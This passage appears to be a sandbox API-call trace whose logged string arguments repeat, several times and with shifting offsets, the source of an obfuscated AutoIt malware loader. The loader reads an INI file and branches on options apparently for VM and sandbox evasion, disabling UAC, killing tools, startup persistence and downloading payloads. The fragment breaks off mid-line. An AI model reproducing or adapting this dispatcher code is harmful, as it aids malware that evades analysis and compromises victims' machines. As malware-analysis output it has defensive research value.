Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"R", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Const $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.195] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="onst $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\"", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.196] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nst $53675A741B726EAC88522D14B9F334E1 = 24\r\nGlobal Const $368080A29D90F5BA0B1D1E0DEAF11686 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' 